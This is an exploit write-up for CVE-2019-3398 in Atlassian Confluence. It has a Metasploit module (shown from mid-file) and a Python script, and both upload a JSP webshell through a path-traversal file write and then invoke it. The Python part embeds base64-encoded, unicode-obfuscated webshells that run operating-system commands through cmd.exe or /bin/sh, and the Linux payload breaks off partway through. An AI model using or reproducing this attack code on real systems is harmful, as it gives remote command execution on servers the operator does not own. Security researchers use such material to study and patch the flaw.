#OptString.new('ROOTFOLDER', [true, 'The root folder of the Atlassian Confluence server', 'opt/atlassian/confluence/confluence/pages/']),
OptString.new('FILENAME', [true, 'The JSP shellcode file name', 'covfefe.jsp']),
OptString.new('TARGETURI', [true, 'The base to Confluence', '/']),
OptString.new('NEWSPACE', [false, 'A new space to be created', 'TESTSPACE432545645']),
OptInt.new('PAGEID', [false, 'A Page ID to be used to upload shellcode', 0]),
OptInt.new('PAGEID_RANGE_START', [false, 'The first Page ID to be used to enumerate a writable Page ID (used when PAGEID is not specified)', '1']),
OptInt.new('PAGEID_RANGE_END', [false, 'The last Page ID to be used to enumerate a writable Page ID (used when PAGEID is not specified)', '999999999']),
], self.class)
end
def do_authenticate
print_status("Sending POST request to the web application (authentication)...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, '/dologin.action'),
'method' => 'POST',
'vars_post' => {
'os_username' => datastore['USERNAME'],
'os_password' => datastore['PASSWORD'],
'os_destination' => '',
'login' => 'Log+In'
}
})
if res.nil?
print_status("Unable to access the web application!")
return 0
end
@sessid = get_sid(res)
if @sessid.nil?
print_status("Unable to retrieve session ID!")
return 0
end
print_status("Getting Session ID from the web application... #{@sessid}")
if res && res.redirect?
location = res.redirection
if location.nil?
print_status("Unable to access the web application when redirected!")
return 0
end
res = send_request_cgi!({
'uri' => normalize_uri(target_uri.path.to_s, location.to_s),
'method' => 'GET',
'headers' => {
'Cookie' => @sessid
}
}, redirect_depth = 5)
end
if res && res.code == 200
if res.body =~ /re-enter\syour\slogin/ || res.body =~ /Sorry,\syour\susername\sand\/or\spassword\sare\sincorrect/ || res.body =~ /Unauthorized/
print_status("Authentication failed...")
return 0
end
@xsrf_token = res.get_html_document.at('meta[@id="atlassian-token"]')['content']
if @xsrf_token.nil? or @xsrf_token.blank?
print_status("Failed to retrieve XSRF token...")
return 0
else
print_status("Retrieving XSRF token... #{@xsrf_token}")
return 1
end
else
print_status("Unexpected response from the web application...")
return 0
end
end
def do_upload(_pageid)
print_status("Sending POST request to the web application (shellcode upload)...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, '/plugins/drag-and-drop/upload.action'),
'method' => 'POST',
'vars_get' => {
'pageId' => _pageid,
'filename' => '../../../../../../../../../../' + datastore['ROOTFOLDER'] + datastore['FILENAME'],
'size' => payload.encoded.length,
'mimeType' => 'text/plain',
'spaceKey' => 'isis',
'atl_token' => @xsrf_token,
'name' => datastore['FILENAME']
},
'data' => payload.encoded,
'headers' => {
'Connection' => 'close',
'Accept' => '*/*',
'Accept-Encoding' => 'identity',
'Cookie' => @sessid,
'Content-Length' => payload.encoded.length,
'Content-Type' => 'text/plain'
}
})
if res && res.code == 200 && res.body.scan(/actionErrors/).blank?
print_status("Shellcode uploaded...")
return 1
else
return 0
end
end
def do_downloadall(_pageid)
for downloadall_iter in 1..10
print_status("Sending GET request to the web application (downloadall)...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, '/pages/downloadallattachments.action'),
'method' => 'GET',
'vars_get' => {
'pageId' => _pageid
},
'headers' => {
'Cookie' => @sessid
}
})
print_status("Sending GET request to the web application (shellcode invokation)...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, '/pages/' + datastore['FILENAME']),
'method' => 'GET',
'headers' => {
'Cookie' => @sessid
}
}, timeout = 10)
if res && res.code == 200
print_status("Shellcode found...")
return 1
else
if downloadall_iter == 10
print_status("Shellcode not found...")
return 0
end
end
end
end
def do_getspaces
print_status("Sending GET request to the web application (getting available spaces)...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, '/rest/api/space'),
'method' => 'GET',
'headers' => {
'User-Agent' => 'python-requests/2.20.0',
'Cookie' => @sessid,
'Accept' => '*/*',
'Accept-Encoding' => 'identity',
'Content-Type' => 'application/json'
}
})
if res && res.code == 200 && res.body =~ /results/
space_list = res.body.scan(/\"key\":\"(\w+)\"/).flatten
else
space_list = Array([])
end
return space_list
end
def do_createspace
print_status("Sending POST request to the web application (creating a space)...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, '/rest/api/space'),
'method' => 'POST',
'data' => {
"key": datastore['NEWSPACE'],
"name": "Example space",
"description": {
"plain": {
"value": "This is an example space",
"representation": "plain"
}
},
"metadata": {}
}.to_json,
'headers' => {
'User-Agent' => 'python-requests/2.20.0',
'Cookie' => @sessid,
'Accept-Encoding' => 'identity',
'Content-Type' => 'application/json'
}
})
if res && res.code == 200 && res.body =~ /\"key\":\"\w+\"/
print_status("Space created...")
return res.body.scan(/\"key\":\"(\w+)\"/).flatten[0]
else
print_status("Space not created...")
return 0
end
end
def do_createpage(_space)
print_status("Sending GET request to the web application (creating Page ID), space #{_space}...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, '/pages/createpage.action?spaceKey='+_space),
'method' => 'GET',
'headers' => {
'Cookie' => @sessid
}
})
if res && res.code == 200 && res.body =~ /ajs-draft-id/
pageid = res.get_html_document.at('meta[@name="ajs-draft-id"]')['content']
pageid_parsed = /(\d+)/.match(pageid)
if pageid_parsed.nil?
print_status("Unexpected Page ID format...")
return 0
else
print_status("Page ID created... #{pageid}")
datastore['PAGEID'] = pageid
return 1
end
else
return 0
end
end
def get_sid(res)
if res.nil?
return ''
end
res.get_cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''
end
def exploit
print_status("Getting authenticated to the web application...")
if do_authenticate != 1
fail_with(Failure::Unknown, 'Initial access or authentication error!')
end
unless datastore['PAGEID'].blank?
if datastore['PAGEID'] == 0
print_status("Creating Page ID...")
spaces = do_getspaces
for sp in spaces
if do_createpage(sp) == 1
print_status("Uploading shellcode...")
if do_upload(datastore['PAGEID']) != 1
print_status("Failed to upload shellcode...")
next
end
print_status("Invoking shellcode...")
if do_downloadall(datastore['PAGEID']) != 1
print_status("Failed to invoke shellcode...")
next
else
return
end
end
end
print_status("Trying to create a new space...")
new_sp = do_createspace
if new_sp != 0
if do_createpage(new_sp) == 1
print_status("Uploading shellcode...")
if do_upload(datastore['PAGEID']) != 1
fail_with(Failure::Unknown, 'Error while uploading shellcode!')
end
print_status("Invoking shellcode...")
if do_downloadall(datastore['PAGEID']) != 1
fail_with(Failure::Unknown, 'Error while invoking shellcode!')
end
return
else
fail_with(Failure::Unknown, 'Error while creating page in the newly created space!')
end
else
fail_with(Failure::Unknown, 'Error while creating space!')
end
end
print_status("Uploading shellcode...")
if do_upload(datastore['PAGEID']) != 1
fail_with(Failure::Unknown, 'Error while uploading shellcode!')
end
print_status("Invoking shellcode...")
if do_downloadall(datastore['PAGEID']) != 1
fail_with(Failure::Unknown, 'Error while invoking shellcode!')
end
else
for id in datastore['PAGEID_RANGE_START']..datastore['PAGEID_RANGE_END']
print_status("Trying Page Id #{id}")
print_status("Uploading shellcode...")
if do_upload(id) == 1
print_status("Invoking shellcode...")
if do_downloadall(id) == 1
break
end
end
end
end
end
def check
res = send_request_cgi!({
'uri' => normalize_uri(target_uri.path.to_s, '/login.action?anon=1&logout=1'),
'method' => 'GET',
}, redirect_depth = 5)
if res && res.body =~ /Powered\sby/
ver = res.body.scan(/^.*Powered\sby\s.*(\d{1,}\.\d{1,}\.\d{1,}).*$/).flatten[0]
print_status("The version of the web application is #{ver}")
ver_parsed = /(\d+)\.(\d+)\.(\d+)/.match(ver.to_s)
if ver_parsed.nil?
print_status("The version of the web application couldn't be parsed")
return Exploit::CheckCode::Detected
end
ver_oct1 = ver_parsed[1].to_i
ver_oct2 = ver_parsed[2].to_i
ver_oct3 = ver_parsed[3].to_i
if ver_oct1.between?(2, 6) && ver_oct2.between?(0, 6) && ver_oct3.between?(0, 12) || ver_oct1.between?(6, 6) && ver_oct2.between?(7, 12) && ver_oct3.between?(0, 3) || ver_oct1.between?(6, 6) && ver_oct2.between?(13, 13) && ver_oct3.between?(0, 3) || ver_oct1.between?(6, 6) && ver_oct2.between?(14, 14) && ver_oct3.between?(0, 2) || ver_oct1.between?(6, 6) && ver_oct2.between?(15, 15) && ver_oct3.between?(0, 1)
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
else
return Exploit::CheckCode::Unknown
end
end
end
# Exploit Title: Atlassian Confluence 6.15.1 - Directory Traversal
# Google Dork: N/A
# Date: 2019-11-11
# Exploit Author: max7253
# Vendor Homepage: https://www.atlassian.com
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: 6.15.1
# Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, Linux 5.0.0-23-generic #24~18.04.1-Ubuntu
# CVE : 2019-3398
#Confluence Arbitrary File Write via Path Traversal (CVE-2019-3398)
#To use this exploit you should specify the following variables:
#OS - Linux or Windows.
#PROTO - http or https.
#USERNAME and PASSWORD - the login/password to log into the web interface of the Atlassian Confluence server.
#HOSTNAME - the domain name or IP address of the server and its port.
#ROOTFOLDER - the root directory of the web server. If the root directory is located in C:\confluence\pages\, set this variable to ROOTFOLDER = 'confluence/pages/'.
#Typical ROOTFOLDER locations are:
#Windows: Program Files/Atlassian/Confluence/confluence/pages/
#Linux: opt/atlassian/confluence/confluence/pages/
#Note that the root directory of the web server and the temporary directory of the Atlassian Confluence server on Windows must be on the same drive (C:\ in the example above).
#PAGEID - the pageId URL parameter you see in the browser address bar when you vist the Atlassian Confluence page where you have rights to upload files.
#For example, https://server.net/pages/viewpageattachments.action?pageId=111111111&metadataLink=true.
#If PAGEID is set to 0, the script will try to create a new Page ID in one of the available spaces. If it fails, it will try to create a new space and create a Page ID there.
#If PAGEID is not specified, the script will walk though the PAGEID_RANGE_START..PAGEID_RANGE_END range and try to upload shellcode till it succeeds.
#The script gets authenticated to the Atlassian Confluence server, retrieves the ATLASSIAN TOKEN from the server response, uploads the webshell, then imitates the 'Download all' action to place the webshell to the root directory of the web server.
#Tested on Atlassian v6.15.1. on Linux and Windows.
#Note that on Linux Confluence runs under the 'confluence' account which may not have rights to save files in the root directory of the web server. In this case the exploit will fail. Also, to create a new space and get the list of existing spaces the script makes use of Confluence REST API, which is available starting from Confluence Server 5.5.
import requests
import urllib3
import base64
from bs4 import BeautifulSoup
import numpy as np
import re
import json
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
OS = 'Windows' #change this parameter
PROTO = 'http' #change this parameter
USERNAME = 'test' #change this parameter
PASSWORD = 'test' #change this parameter
HOSTNAME = '192.168.198.144:8090' #change this parameter
ROOTFOLDER = 'Program Files/Atlassian/Confluence/confluence/pages/' #change this parameter (Windows)
#ROOTFOLDER = 'opt/atlassian/confluence/confluence/pages/' #change this parameter (Linux)
PAGEID = '0'#'1245201' #change this parameter
PAGEID_RANGE_START = np.int64(1) #change this parameter
PAGEID_RANGE_END = np.int64(999999999999) #change this parameter
ATLTOKEN = ''
LOGINURL = '%s://%s/dologin.action' % (PROTO, HOSTNAME)
UPLOADURL = '%s://%s/plugins/drag-and-drop/upload.action' % (PROTO, HOSTNAME)
DOWNLOADALLURL = '%s://%s/pages/downloadallattachments.action' % (PROTO, HOSTNAME)
CREATEPAGEURL = '%s://%s/pages/createpage.action?spaceKey=' % (PROTO, HOSTNAME)
VIEWSPACESURL= '%s://%s/rest/api/space' % (PROTO, HOSTNAME)
WEBSHELLURL = '%s://%s/pages/assist.jsp' % (PROTO, HOSTNAME)
SHELLCODE_WINDOWS = 'PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLiosamF2YS5uZXQuKiIlPgo8SFRNTD \
48Qk9EWT4KPEZPUk0gTUVUSE9EPSJQT1NUIiBOQU1FPSJib29raW5nIiBBQ1RJT049IiI+CjxJTlBV \
VCBUWVBFPSJ0ZXh0IiBOQU1FPSJjbWQiPgo8SU5QVVQgVFlQRT0ic3VibWl0IiBWQUxVRT0iU2VuZC \
I+CjwvRk9STT4gCjxwcmU+CjwlIApcdTAwNjlcdTAwNjZcdTAwMjBcdTAwMjhcdTAwNzJcdTAwNjVc \
dTAwNzFcdTAwNzVcdTAwNjVcdTAwNzNcdTAwNzRcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNT \
BcdTAwNjFcdTAwNzJcdTAwNjFcdTAwNkRcdTAwNjVcdTAwNzRcdTAwNjVcdTAwNzJcdTAwMjhcdTAw \
MjJcdTAwNjNcdTAwNkRcdTAwNjRcdTAwMjJcdTAwMjlcdTAwMjBcdTAwMjFcdTAwM0RcdTAwMjBcdT \
AwNkVcdTAwNzVcdTAwNkNcdTAwNkNcdTAwMjlcdTAwMjBcdTAwN0JcdTAwMEFcdTAwMjBcdTAwMjBc \
dTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNkZcdTAwNzVcdTAwNzRcdTAwMk \
VcdTAwNzBcdTAwNzJcdTAwNjlcdTAwNkVcdTAwNzRcdTAwNkNcdTAwNkVcdTAwMjhcdTAwMjJcdTAw \
NDNcdTAwNkZcdTAwNkRcdTAwNkRcdTAwNjFcdTAwNkVcdTAwNjRcdTAwM0FcdTAwMjBcdTAwMjJcdT \
AwMjBcdTAwMkJcdTAwMjBcdTAwNzJcdTAwNjVcdTAwNzFcdTAwNzVcdTAwNjVcdTAwNzNcdTAwNzRc \
dTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNTBcdTAwNjFcdTAwNzJcdTAwNjFcdTAwNkRcdTAwNj \
VcdTAwNzRcdTAwNjVcdTAwNzJcdTAwMjhcdTAwMjJcdTAwNjNcdTAwNkRcdTAwNjRcdTAwMjJcdTAw \
MjlcdTAwMjBcdTAwMkJcdTAwMjBcdTAwMjJcdTAwNUNcdTAwNkVcdTAwM0NcdTAwNDJcdTAwNTJcdT \
AwM0VcdTAwMjJcdTAwMjlcdTAwM0JcdTAwMEFcdTAwMDlcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjlc \
dTAwNkVcdTAwNjdcdTAwNUJcdTAwNURcdTAwMjBcdTAwNjNcdTAwNkZcdTAwNkRcdTAwNkRcdTAwNj \
FcdTAwNkVcdTAwNjRcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNkVcdTAwNjVcdTAwNzdcdTAwMjBcdTAw \
NTNcdTAwNzRcdTAwNzJcdTAwNjlcdTAwNkVcdTAwNjdcdTAwNUJcdTAwNURcdTAwMjBcdTAwN0JcdT \
AwMjJcdTAwNjNcdTAwNkRcdTAwNjRcdTAwMkVcdTAwNjVcdTAwNzhcdTAwNjVcdTAwMjJcdTAwMkNc \
dTAwMjBcdTAwMjJcdTAwMkZcdTAwNjNcdTAwMjJcdTAwMkNcdTAwMjBcdTAwNzJcdTAwNjVcdTAwNz \
FcdTAwNzVcdTAwNjVcdTAwNzNcdTAwNzRcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNTBcdTAw \
NjFcdTAwNzJcdTAwNjFcdTAwNkRcdTAwNjVcdTAwNzRcdTAwNjVcdTAwNzJcdTAwMjhcdTAwMjJcdT \
AwNjNcdTAwNkRcdTAwNjRcdTAwMjJcdTAwMjlcdTAwN0RcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBc \
dTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNTBcdTAwNzJcdTAwNkZcdTAwNj \
NcdTAwNjVcdTAwNzNcdTAwNzNcdTAwMjBcdTAwNzBcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNTJcdTAw \
NzVcdTAwNkVcdTAwNzRcdTAwNjlcdTAwNkRcdTAwNjVcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdT \
AwNTJcdTAwNzVcdTAwNkVcdTAwNzRcdTAwNjlcdTAwNkRcdTAwNjVcdTAwMjhcdTAwMjlcdTAwMkVc \
dTAwNjVcdTAwNzhcdTAwNjVcdTAwNjNcdTAwMjhcdTAwNjNcdTAwNkZcdTAwNkRcdTAwNkRcdTAwNj \
FcdTAwNkVcdTAwNjRcdTAwMjlcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAw \
MjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNEZcdTAwNzVcdTAwNzRcdTAwNzBcdTAwNzVcdTAwNzRcdT \
AwNTNcdTAwNzRcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNkRcdTAwMjBcdTAwNkZcdTAwNzNcdTAwMjBc \
dTAwM0RcdTAwMjBcdTAwNzBcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNEZcdTAwNzVcdTAwNz \
RcdTAwNzBcdTAwNzVcdTAwNzRcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNkRcdTAw \
MjhcdTAwMjlcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdT \
AwMjBcdTAwMjBcdTAwNDlcdTAwNkVcdTAwNzBcdTAwNzVcdTAwNzRcdTAwNTNcdTAwNzRcdTAwNzJc \
dTAwNjVcdTAwNjFcdTAwNkRcdTAwMjBcdTAwNjlcdTAwNkVcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNz \
BcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNDlcdTAwNkVcdTAwNzBcdTAwNzVcdTAwNzRcdTAw \
NTNcdTAwNzRcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNkRcdTAwMjhcdTAwMjlcdTAwM0JcdTAwMEFcdT \
AwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNDRcdTAwNjFc \
dTAwNzRcdTAwNjFcdTAwNDlcdTAwNkVcdTAwNzBcdTAwNzVcdTAwNzRcdTAwNTNcdTAwNzRcdTAwNz \
JcdTAwNjVcdTAwNjFcdTAwNkRcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwMjBcdTAwM0RcdTAw \
MjBcdTAwNkVcdTAwNjVcdTAwNzdcdTAwMjBcdTAwNDRcdTAwNjFcdTAwNzRcdTAwNjFcdTAwNDlcdT \
AwNkVcdTAwNzBcdTAwNzVcdTAwNzRcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNkRc \
dTAwMjhcdTAwNjlcdTAwNkVcdTAwMjlcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMj \
BcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjlcdTAwNkVcdTAw \
NjdcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwNzJcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNjRcdT \
AwNjlcdTAwNzNcdTAwMkVcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNjRcdTAwNENcdTAwNjlcdTAwNkVc \
dTAwNjVcdTAwMjhcdTAwMjlcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMj \
BcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNzdcdTAwNjhcdTAwNjlcdTAwNkNcdTAwNjVcdTAwMjBcdTAw \
MjhcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwNzJcdTAwMjBcdTAwMjFcdTAwM0RcdTAwMjBcdT \
AwNkVcdTAwNzVcdTAwNkNcdTAwNkNcdTAwMjBcdTAwMjlcdTAwMjBcdTAwN0JcdTAwMEFcdTAwMjBc \
dTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMj \
BcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNkZcdTAwNzVcdTAwNzRcdTAwMkVcdTAw \
NzBcdTAwNzJcdTAwNjlcdTAwNkVcdTAwNzRcdTAwNkNcdTAwNkVcdTAwMjhcdTAwNjRcdTAwNjlcdT \
AwNzNcdTAwNzJcdTAwMjlcdTAwM0JcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwNzJcdTAwMjBc \
dTAwM0RcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwMkVcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNj \
RcdTAwNENcdTAwNjlcdTAwNkVcdTAwNjVcdTAwMjhcdTAwMjlcdTAwM0JcdTAwMjBcdTAwN0RcdTAw \
MEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwN0QKJT \
4KPC9wcmU+CjwvQk9EWT48L0hUTUw+'
SHELLCODE_LINUX ='PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLiosamF2YS5uZXQuKiIlPgo8SFRNTD \
48Qk9EWT4KPEZPUk0gTUVUSE9EPSJQT1NUIiBOQU1FPSJib29raW5nIiBBQ1RJT049IiI+CjxJTlBV \
VCBUWVBFPSJ0ZXh0IiBOQU1FPSJjbWQiPgo8SU5QVVQgVFlQRT0ic3VibWl0IiBWQUxVRT0iU2VuZC \
I+CjwvRk9STT4gCjxwcmU+CjwlIApcdTAwNjlcdTAwNjZcdTAwMjBcdTAwMjhcdTAwNzJcdTAwNjVc \
dTAwNzFcdTAwNzVcdTAwNjVcdTAwNzNcdTAwNzRcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNT \
BcdTAwNjFcdTAwNzJcdTAwNjFcdTAwNkRcdTAwNjVcdTAwNzRcdTAwNjVcdTAwNzJcdTAwMjhcdTAw \
MjJcdTAwNjNcdTAwNkRcdTAwNjRcdTAwMjJcdTAwMjlcdTAwMjBcdTAwMjFcdTAwM0RcdTAwMjBcdT \
AwNkVcdTAwNzVcdTAwNkNcdTAwNkNcdTAwMjlcdTAwMjBcdTAwN0JcdTAwMEFcdTAwMjBcdTAwMjBc \
dTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNkZcdTAwNzVcdTAwNzRcdTAwMk \
VcdTAwNzBcdTAwNzJcdTAwNjlcdTAwNkVcdTAwNzRcdTAwNkNcdTAwNkVcdTAwMjhcdTAwMjJcdTAw \
NDNcdTAwNkZcdTAwNkRcdTAwNkRcdTAwNjFcdTAwNkVcdTAwNjRcdTAwM0FcdTAwMjBcdTAwMjJcdT \
AwMjBcdTAwMkJcdTAwMjBcdTAwNzJcdTAwNjVcdTAwNzFcdTAwNzVcdTAwNjVcdTAwNzNcdTAwNzRc \
dTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNTBcdTAwNjFcdTAwNzJcdTAwNjFcdTAwNkRcdTAwNj \
VcdTAwNzRcdTAwNjVcdTAwNzJcdTAwMjhcdTAwMjJcdTAwNjNcdTAwNkRcdTAwNjRcdTAwMjJcdTAw \
MjlcdTAwMjBcdTAwMkJcdTAwMjBcdTAwMjJcdTAwNUNcdTAwNkVcdTAwM0NcdTAwNDJcdTAwNTJcdT \
AwM0VcdTAwMjJcdTAwMjlcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBc \
dTAwMjBcdTAwMjBcdTAwMjBcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjlcdTAwNkVcdTAwNjdcdTAwNU \
JcdTAwNURcdTAwMjBcdTAwNjNcdTAwNkZcdTAwNkRcdTAwNkRcdTAwNjFcdTAwNkVcdTAwNjRcdTAw \
MjBcdTAwM0RcdTAwMjBcdTAwNkVcdTAwNjVcdTAwNzdcdTAwMjBcdTAwNTNcdTAwNzRcdTAwNzJcdT \
AwNjlcdTAwNkVcdTAwNjdcdTAwNUJcdTAwNURcdTAwMjBcdTAwN0JcdTAwMjJcdTAwMkZcdTAwNjJc \
dTAwNjlcdTAwNkVcdTAwMkZcdTAwNzNcdTAwNjhcdTAwMjJcdTAwMkNcdTAwMjBcdTAwMjJcdTAwMk \
RcdTAwNjNcdTAwMjJcdTAwMkNcdTAwMjBcdTAwNzJcdTAwNjVcdTAwNzFcdTAwNzVcdTAwNjVcdTAw \
NzNcdTAwNzRcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNTBcdTAwNjFcdTAwNzJcdTAwNjFcdT \
AwNkRcdTAwNjVcdTAwNzRcdTAwNjVcdTAwNzJcdTAwMjhcdTAwMjJcdTAwNjNcdTAwNkRcdTAwNjRc \
dTAwMjJcdTAwMjlcdTAwN0RcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMj \
BcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNTBcdTAwNzJcdTAwNkZcdTAwNjNcdTAwNjVcdTAwNzNcdTAw \
NzNcdTAwMjBcdTAwNzBcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNTJcdTAwNzVcdTAwNkVcdTAwNzRcdT \
AwNjlcdTAwNkRcdTAwNjVcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNTJcdTAwNzVcdTAwNkVc \
dTAwNzRcdTAwNjlcdTAwNkRcdTAwNjVcdTAwMjhcdTAwMjlcdTAwMkVcdTAwNjVcdTAwNzhcdTAwNj \
VcdTAwNjNcdTAwMjhcdTAwNjNcdTAwNkZcdTAwNkRcdTAwNkRcdTAwNjFcdTAwNkVcdTAwNjRcdTAw \
MjlcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdT \
AwMjBcdTAwNEZcdTAwNzVcdTAwNzRcdTAwNzBcdTAwNzVcdTAwNzRcdTAwNTNcdTAwNzRcdTAwNzJc \
dTAwNjVcdTAwNjFcdTAwNkRcdTAwMjBcdTAwNkZcdTAwNzNcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNz \
BcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNEZcdTAwNzVcdTAwNzRcdTAwNzBcdTAwNzVcdTAw \
NzRcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNkRcdTAwMjhcdTAwMjlcdTAwM0JcdT \
AwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNDlc \
dTAwNkVcdTAwNzBcdTAwNzVcdTAwNzRcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNk \
RcdTAwMjBcdTAwNjlcdTAwNkVcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNzBcdTAwMkVcdTAwNjdcdTAw \
NjVcdTAwNzRcdTAwNDlcdTAwNkVcdTAwNzBcdTAwNzVcdTAwNzRcdTAwNTNcdTAwNzRcdTAwNzJcdT \
AwNjVcdTAwNjFcdTAwNkRcdTAwMjhcdTAwMjlcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBc \
dTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNDRcdTAwNjFcdTAwNzRcdTAwNjFcdTAwND \
lcdTAwNkVcdTAwNzBcdTAwNzVcdTAwNzRcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjVcdTAwNjFcdTAw \
NkRcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNkVcdTAwNjVcdT \
AwNzdcdTAwMjBcdTAwNDRcdTAwNjFcdTAwNzRcdTAwNjFcdTAwNDlcdTAwNkVcdTAwNzBcdTAwNzVc \
dTAwNzRcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNkRcdTAwMjhcdTAwNjlcdTAwNk \
VcdTAwMjlcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAw \
MjBcdTAwMjBcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjlcdTAwNkVcdTAwNjdcdTAwMjBcdTAwNjRcdT \
AwNjlcdTAwNzNcdTAwNzJcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwMkVc \
dTAwNzJcdTAwNjVcdTAwNjFcdTAwNjRcdTAwNENcdTAwNjlcdTAwNkVcdTAwNjVcdTAwMjhcdTAwMj \
lcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAw \
MjBcdTAwNzdcdTAwNjhcdTAwNjlcdTAwNkNcdTAwNjVcdTAwMjBcdTAwMjhcdTAwMjBcdTAwNjRcdT \
AwNjlcdTAwNzNcdTAwNzJcdTAwMjBcdTAwMjFcdTAwM0RcdTAwMjBcdTAwNkVcdTAwNzVcdTAwNkNc \
dTAwNkNcdTAwMjBcdTAwMjlcdTAwMjBcdTAwN0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMj \
BcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAw \
MjBcdTAwMjBcdTAwMjBcdTAwNkZcdTAwNzVcdTAwNzRcdTAwMkVcdTAwNzBcdTAwNzJcdTAwNjlcdT \
AwNkVcdTAwNzRcdTAwNkNcdTAwNkVcdTAwMjhcdTAwNjRcdTAwNjlcdTAwNzNcdTAwNzJcdTAwMjlc \
